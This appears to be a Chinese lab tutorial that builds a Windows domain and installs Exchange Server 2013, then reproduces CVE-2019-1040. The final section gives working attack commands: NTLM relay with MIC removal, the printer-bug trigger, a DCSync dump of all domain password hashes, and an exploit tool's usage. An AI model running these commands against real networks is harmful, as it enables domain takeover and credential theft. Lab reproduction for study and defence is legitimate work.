搭建域環境,安裝Exchange Server 2013,復現CVE-2019-1040


搭建域環境

操作系統: 域控:Windows server 2008 R2    域成員: Windows Server 2012 、 Windows 7

對於將要安裝成為DC的服務器來講,其系統配置以及基本的磁盤規划在此就不在累述了,但是關鍵的網絡連接屬性是必須要注意的。可以通過打開本地連接的屬性來進行配置其IP屬性。作為服務器DC的IP地址一定要是靜態的IP地址,雖然不一定需要配置默認網關,但是DNS服務器指向一定要配置正確,因為AD的工作是緊密依賴於DNS服務的。本實例中整個微軟網絡環境都是白手起家的,考慮讓這第一台DC同時充當企業網絡中的DNS服務器,故需要將其首選DNS服務器地址配置為本台計算機的IP地址。

安裝DNS服務

首先應該配置 DNS 服務器的靜態 IP

DNS 服務器的地址設置為自己的地址 127.0.0.1:

1621777987_60aa5e43c09993e1ec102.png!small?1621777979346

開始菜單 -> 管理工具 -> 服務器管理器, 選擇左側樹形菜單 "角色" 節點,右鍵 "添加角色",此處的 "角色" 表示此服務器要被配置為什么功能的服務器,即提供什么樣的服務:

1621778019_60aa5e6343daa292e140c.png!small?1621778010772

勾選 "DNS 服務器" 角色,安裝

1621778035_60aa5e734dd5357732427.png!small?1621778026858

安裝 Active Directory 域服務

進入 "服務器管理器" 中添加 AD 域服務角色:

1621778064_60aa5e90a7a26a5b2c56c.png!small?1621778056870

或者點擊開始菜單 -> 運行 -> 輸入命令 "dcpromo" ,然后回車.

dcpromo 命令是一個 "開關" 命令。如果 Windows Server  2008 計算機是成員服務器,則 運行 dcpromo 命令會安裝 AD 活動目錄,將其升級為域控制器;如果Windows Server 2008 計算機已經是域控制器,則運行 dcpromo 命令會卸載 AD 活動目錄,將其降級為成員服務器。

進入安裝界面界面:

1621778084_60aa5ea49a1534a592a4b.png!small?1621778078059

注意:如果是第一次搭建也是你整個內網中的第一台域控制器,那么需要選擇第二項 "在新林中新建域",第一項是內網中已經存在 AD 環境再想搭建額外域控制器的時候使用的。

選擇 "在新林中新建域”並點擊",點擊 "下一步" 按鈕:

1621778114_60aa5ec251c33bbf40f20.png!small?1621778106320

下一步之后,配置命名你的域名,這個要慎重,因為這個配置完畢之后要修改很麻煩的,而且域重命名的風險不是一般的大

1621778129_60aa5ed175d16da1bf3a5.png!small?1621778122502

進入林功能級別設置界面

這里需要強調的是,如果你的AD中以后可能會出現server 2003系統的域控制器,請務必選擇2003的域功能級別,要不你以后那些server 2003的服務器就做不了域控制器了,保險起見的話,安裝第一台DC的時候,都選擇的低一點吧,以后要升到2008的域功能級別是沒問題的,但是選了2008的功能級別,以后要降級就難了!

1621778155_60aa5eeb2ba9c909b6d32.png!small?1621778148838

點擊 "下一步" 按鈕:

如果最初沒有安裝 DNS 服務器,此處可以勾選並安裝:

1621778173_60aa5efd2e68ae0eec1d1.png!small?1621778166533

如果已經安裝,此處即為灰色。

彈出 DNS 提示框,不用理會,點擊 "是" 按鈕,繼續安裝:

1621778194_60aa5f128d7375216821e.png!small?1621778186759

進入AD 域的數據庫文件、日志文件和共享文件位置設置頁面,此處保持默認設置,點擊 "下一步" 按鈕:

1621778213_60aa5f25dd3878132b575.png!small?1621778207188

進入 "域還原密碼" 設置界面,此密碼相當的重要,后續做數據庫遷移、備份、整理、恢復的時候都可能用到,務必要牢記:

1621778227_60aa5f333eae29c1b6dc7.png!small?1621778220736

下一步之后就是查看一下你整個DC搭建的配置信息了,你可以導出到一個位置保持起來,以便后續排錯時查閱,也可以作為DC安裝時的無人值守安裝的腳本

1621778246_60aa5f4602ec330c69931.png!small?1621778241083

下一步之后,等待幾分鍾就會顯示安裝完成,

1621778262_60aa5f5681034be9d61fe.png!small?1621778254600

重啟機器之后,AD就正式搭建成功了。

(在完成域控制器的安裝后,系統會自動的將該服務器的用戶賬號轉移到 AD 數據庫中。)

檢查 DC 是否已經注冊到 DNS

域控制器 DC 會將自己扮演的角色注冊到 DNS 服務器內,以便讓其他計算機能夠通過 DNS 服務器來找到這台域控制器,因此先檢查 DNS 服務器內是否已經存在這些記錄。利用域系統管理員(YOKAN/Administrator)登錄。

檢查主機記錄

1621778291_60aa5f735b9e681b6f443.png!small?1621778283494

首先檢查域控制器是否已經將其主機名與 IP 地址注冊到 DNS 服務器內。到扮演 DNS 服務器角色的計算機上點擊 "DNS" 菜單:

1621778313_60aa5f8959034c3d491d3.png!small?1621778306621

此處應該會有一個名稱為 yokan.com 的區域,圖中的主機(A)記錄表示域控制器 win-1d09baa27uf.yokan.com 已經正確地將其主機名與 IP 地址注冊到 DNS 服務器內。DNS 客戶端所提出的請求大多是正向解析,即通過 hostname 來解析 IP 地址對應與此處的正向查找區域;通過 IP 來查找 hostname 即為反向解析,對應於此處的反向查找區域。

1621778330_60aa5f9a930067e3fc4a8.png!small?1621778323619

如果域控制器已經正確地將其扮演的角色注冊到 DNS 服務器,則還應該有對應的 _tcp、_udp 等文件夾。在單擊 _tcp 文件夾后可以看到如下所示的界面,其中數據類型為服務位置(SRV)的 _ldap 記錄,表示 win-1d09baa27uf.yokan.com已經正確地注冊為域控制器。其中的 _gc 記錄還可以看出全局編錄服務器的角色也是由 win-1d09baa27uf.yokan.com扮演的。

1621778350_60aa5faecb899f8954d38.png!small?1621778342818

 

DNS 區域內包含這些數據后,其他要加入域的計算機就可以通過通過此區域來得知域控制器為  win-1d09baa27uf.yokan.com。這些加入域的成員也會將其主機與 IP 地址數據注冊到此區域內。

管理 AD 域用戶賬戶

可以使用如下兩個工具來管理域賬戶:

Active Directory 用戶和計算機:這是之前 Windows Server 2008、Windows Server 2003 等系統就已經提供的工具;

Active Directory 管理中心:這是從 Windows Server 2008 R2 開始提供的工具,用來取代 Active Directory 用戶和計算機。

下面,通過使用 Active Directory 用戶和計算機進行演示 創建組織單位與域用戶賬戶:

1621778373_60aa5fc5457f0a901645b.png!small

可以將用戶賬戶創建到任何一個容器或組織單位(OU)內。

創建組織單位:

1621778457_60aa6019843cc83d110c1.png!small?1621778449326

輸入test的組織單位,然后點擊 "確定" 按鈕,即可創建成功。

進入創建用戶界面,填入用戶信息

1621778472_60aa60282a03f1da62b71.png!small?1621778465341

注意:

用戶 UPN 登錄:用戶可以利用這個與電子郵箱格式相同的名稱( justtest@yokan.com)來登錄域,此名稱被稱為 User Principal Name(UPN)。在整個林內,此名稱必須是唯一的。

用戶 SamAccountName 登錄:用戶也可以利用此名稱(YOKAN\justtest)來登錄域,其中 YOKAN 為 NetBIOS 域名。同一個域內,此登錄名稱必須是唯一的。Windows NT、Windows 98 等舊版系統並不支持 UPN,因此在這些計算機上登錄時,只能使用此處的登錄名。

創建好上面的域用戶賬戶之后,就可以用來測試登錄域的操作。直接到域內任何一台非域控制器的計算機上登錄域。一般用戶賬戶默認無法在域控制器上登錄,除非另外開放

1621778501_60aa60450d32dd4b6bd5a.png!small?1621778492784

將Windows Server 2012加入域

首先,更改客戶端計算機(要加入到域中的計算機)的DNS,使其指向域控制器。如圖:

1621778519_60aa605772e5babcda048.png!small?1621778511300

我的電腦->屬性->更改設置

1621778534_60aa60663ac550711d0da.png!small?1621778525856

在彈出的計算機屬性對話框中點擊【更改】:

1621778545_60aa60719b7b40e4cb24c.png!small?1621778537429

選擇“域”,輸入創建的域名稱“yokan.com”,點擊確定

1621778556_60aa607c942ca1a4a359d.png!small?1621778548283

如果DNS設置成功,會提示輸入密碼對話框,這時我們需要輸入一位已經在域中的用戶的用戶名和密碼,並不一定是管理員。

1621778570_60aa608a5d5805fff03f0.png!small?1621778561903

當輸入的用戶名和密碼驗證通過后就可以成功加入到域中了,成功加入后會有如下提示

1621778580_60aa6094cb2b6c5a93f0b.png!small?1621778572349

將Windows 7加入域

操作方法與Windows Server 2012相同,不再贅訴

1621778595_60aa60a3a4d4c86a3ffc1.png!small?1621778587504

安裝Exchange Server 2013

操作系統:Windows Server 2012

https://msdn.itellyou.cn/下載iso文件,解壓

1621778624_60aa60c0abd3d024dd561.png!small?1621778617510

先決條件安裝

安裝遠程工具管理包

Install–WindowsFeature RSAT-ADDS

安裝Windows組件

Install-WindowsFeature AS-HTTP-Activation, Desktop-Experience, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation

1621778776_60aa6158ceeb4a9c744b7.png!small?1621778769578

按順序安裝下面三個工具:

Microsoft Office 2010 Filter Packs:

http://www.microsoft.com/en-us/download/details.aspx?id=17062

Service Pack 1 for Microsoft Office Filter Pack 2010 (KB2460041) 64-bit Edition :

http://www.microsoft.com/en-us/download/details.aspx?id=26604

Unified Communications Managed API 4.0 Runtime(注意:安裝Unified Communications Managed API 4.0 Runtime的時候,需先安裝“媒體基礎”的功能,具體步驟我就不說了,直接在“添加角色和功能”里面添加就好了)

http://www.microsoft.com/en-us/download/details.aspx?id=34992

安裝Exchange 2013

一、准備Active Directory(如果是第一次安裝Exchange Server 2013)

Active Directory 要求:

1、架構主機運行的是Windows Server 2003 SP2或更高的Windows Server版本;

2、每個站點至少有一個全局編錄服務器,運行的是Windows Server 2003 SP2或更高版本;

3、每個站點至少有一台域控制器,運行的是Windows Server 2003 SP2或更高版本;

4、Windows Server 2003林功能級別或者更高;

5、以架構管理員、域管理員和企業管理員權限的賬戶來運行Exchange安裝程序;

具體安裝過程:

1、打開powershell,切換到Exchange安裝文件所在的磁盤

2、架構的准備(setup /ps);在這樣要注意的:在cmd里面的時候,我們直接輸入“setup /ps”就可以運行的,但到powershell里卻不行了,因為powershell默認情況下不從此路徑加載命令,所有需要輸入“.\setup /ps”這樣就可以了嗎?還不行,因你還需要接收許可協議,輸入“/IAcceptExchangeServerLicenseTerms”才行,所有這里完整的命令應該是:

.\setup /ps /IAcceptExchangeServerLicenseTerms

1621778830_60aa618e70c1d14a2ced7.png!small?1621778822312

3、擴展林,輸入“.\Setup  /P  /OrganizationName:XXXXX  /IAcceptExchangeServerLicenseTerms”(其中XXXXX是你的組織名)

注意:如果您的組織名稱包含空格,則必須用引號括起來。

1621778851_60aa61a39df0f27f9a32c.png!small?1621778843407

4、准備本地域“.\Setup /pd /IAcceptExchangeServerLicenseTerms”

1621778867_60aa61b3e16be7ef541e4.png!small?1621778859791

5、在組織中准備域,輸入“.\Setup /pad /IAcceptExchangeServerLicenseTerms”

1621778881_60aa61c1925401db3c4d3.png!small?1621778873517

6、雙擊“Setup.exe”進行安裝

不立即檢查更新

1621778912_60aa61e0529594c259439.png!small?1621778904001

郵箱角色、客戶端訪問角色

1621778922_60aa61ea25d46907db956.png!small?1621778913656

1621778929_60aa61f1ecaebcadf9e6d.png!small?1621778922691

這里的兩個先決條件在上面,要按順序安裝了。如果不按順序,會出現安裝失敗的;然后選擇“安裝”;

1621778942_60aa61fe2d1e5b49acca9.png!small?1621778933726

進入安裝步驟,一共14步,大概1個小時左右。

1621778952_60aa62087ea8f0e2fc395.png!small?1621778944068

安裝完成

1621778964_60aa62149c92f4fd07061.png!small?1621778956254

安裝后試用階段

1、進入Exchange管理中心

地址:https://localhost/ecp

1621778986_60aa622a8790335d323dc.png!small?1621778978006

2、試用管理員賬號,登陸管理中心頁面,如下圖

1621779003_60aa623bd489a11945ecf.png!small?1621778995580

3、Outlook Web App 登錄

地址:https://localhost/owa

1621779016_60aa6248a55e26f5230ce.png!small?1621779008170

4、添加賬號,首先添加AD賬號(如下圖),然后添加Exchange賬號(步驟5)

打開AD用戶和計算機,添加AD賬號。

1621779030_60aa625614ade0fb405a1.png!small?1621779022065

5、進入Exchange管理中心,如下圖添加用戶,彈出用戶郵箱,點擊瀏覽找到AD賬號,確定,即可添加。

1621779042_60aa6262cc227a42cb7a7.png!small?1621779034695

6、添加成功,郵箱列表下,多了一個新的賬號

1621779056_60aa6270869413554eb47.png!small?1621779048011

7、使用管理員賬號登錄OWA,並發一封測試郵件

1621779067_60aa627ba45f41ae89357.png!small?1621779059177

8、查看已發送郵件,有我們剛剛發送的郵件

1621779081_60aa6289e0fd62fd3f94d.png!small?1621779073376

9、登陸新賬號justtest,查看新郵件,收到新郵件,大功告成!

1621779098_60aa629abae796a705276.png!small?1621779090296

CVE-2019-1040利用

漏洞概述

2019年6月,Microsoft發布了一條安全更新。該更新針對CVE-2019-1040漏洞進行修復。此次漏洞,攻擊者可以通過中間人攻擊,繞過NTLM MIC(消息完整性檢查)保護,將身份驗證流量中繼到目標服務器。 通過這種攻擊使得攻擊者在僅有一個普通域賬號的情況下可以遠程控制 Windows 域內的任何機器,包括域控服務器

漏洞利用

前提條件

A、Exchange服務器可以是任何版本(包括為PrivExchange修補的版本)。唯一的要求是,在以共享權限或RBAC模式安裝時,Exchange默認具有高權限。

B、域內任意賬戶。(由於能產生SpoolService錯誤的唯一要求是任何經過身份驗證的域內帳戶)

C、CVE-2019-1040漏洞的實質是NTLM數據包完整性校驗存在缺陷,故可以修改NTLM身份驗證數據包而不會使身份驗證失效。而此攻擊鏈中攻擊者刪除了數據包中阻止從SMB轉發到LDAP的標志。

D、構造請求使Exchange Server向攻擊者進行身份驗證,並通過LDAP將該身份驗證中繼到域控制器,即可使用中繼受害者的權限在Active Directory中執行操作。比如為攻擊者帳戶授予DCSync權限。

E、如果在可信但完全不同的AD林中有用戶,同樣可以在域中執行完全相同的攻擊。(因為任何經過身份驗證的用戶都可以觸發SpoolService反向連接)

漏洞利用攻擊鏈

1、使用域內任意帳戶,通過SMB連接到被攻擊ExchangeServer,並指定中繼攻擊服務器。同時必須利用SpoolService錯誤觸發反向SMB鏈接。

2、中繼服務器通過SMB回連攻擊者主機,然后利用ntlmrelayx將利用CVE-2019-1040漏洞修改NTLM身份驗證數據后的SMB請求據包中繼到LDAP。

3、使用中繼的LDAP身份驗證,此時Exchange Server可以為攻擊者帳戶授予DCSync權限。

4、攻擊者帳戶使用DCSync轉儲AD域中的所有域用戶密碼哈希值(包含域管理員的hash,此時已拿下整個域)。

漏洞驗證

驗證環境:

DC :   Windows server 2008 R2   192.168.111.134    WIN-1D09BAA27UF.yokan.comyokan.com

Exchange:Windows Server 2012     192.168.111.135      WIN-A5C3LTTJ4TK.yokan.comyokan.com

攻擊機:     Windows 10      192.168.111.138           Kali    192.168.111.129

已獲得的普通域用戶: justtest    *****************

漏洞利用  方法1

①執行ntlmrelayx.py腳本進行NTLM中繼攻擊,設置SMB服務器並將認證憑據中繼到LDAP協議。其中--remove-mic選項用於清除MIC標志,--escalate-user用於提升指定用戶權限。

./ntlmrelayx.py --remove-mic --escalate-user justtest -t ldap://WIN-1D09BAA27UF.yokan.com -smb2support
./ntlmrelayx.py --remove-mic --escalate-user justtest -t ldap://192.168.111.134 -smb2support

1621779258_60aa633a51fd5c53a1590.png!small?1621779251175

② 執行printerbug.py腳本,觸發SpoolService的bug。

python printerbug.py 域/用戶名:密碼@Exchange服務ip 回連ip
./printerbug.py yokan.com/justtest@WIN-A5C3LTTJ4TK.yokan.com 192.168.111.129
./printerbug.py yokan.com/justtest@192.168.111.135 192.168.111.129

1621779291_60aa635ba4571972a638b.png!small?1621779284042

③SpoolService的bug導致Exchange服務器回連到ntlmrelayx.py,即將認證信息發送到ntlmrelayx.py。

1621779314_60aa637256d6854ff32a2.png!small?1621779308927

④ 完成ACL的修改后,justtest就可以通過secretsdump.py的DCSync功能dump出所有密碼哈希值:

./secretsdump.py yokan.com/justtest@yokan.com -just-dc
./secretsdump.py yokan.com/justtest@192.168.111.134

1621779480_60aa6418d911188f82d6d.png!small?1621779474463

漏洞利用  方法2

利用工具   https://github.com/Ridter/CVE-2019-1040

利用方法:

python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip

參考:

https://www.cnblogs.com/cnjavahome/p/9029665.html

https://www.cnblogs.com/sjdn/p/5509885.html

https://blog.51cto.com/yupeizhi/1586664

https://blog.csdn.net/u011189710/article/details/81150026

https://zhuanlan.zhihu.com/p/142080911

https://www.freebuf.com/vuls/207399.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM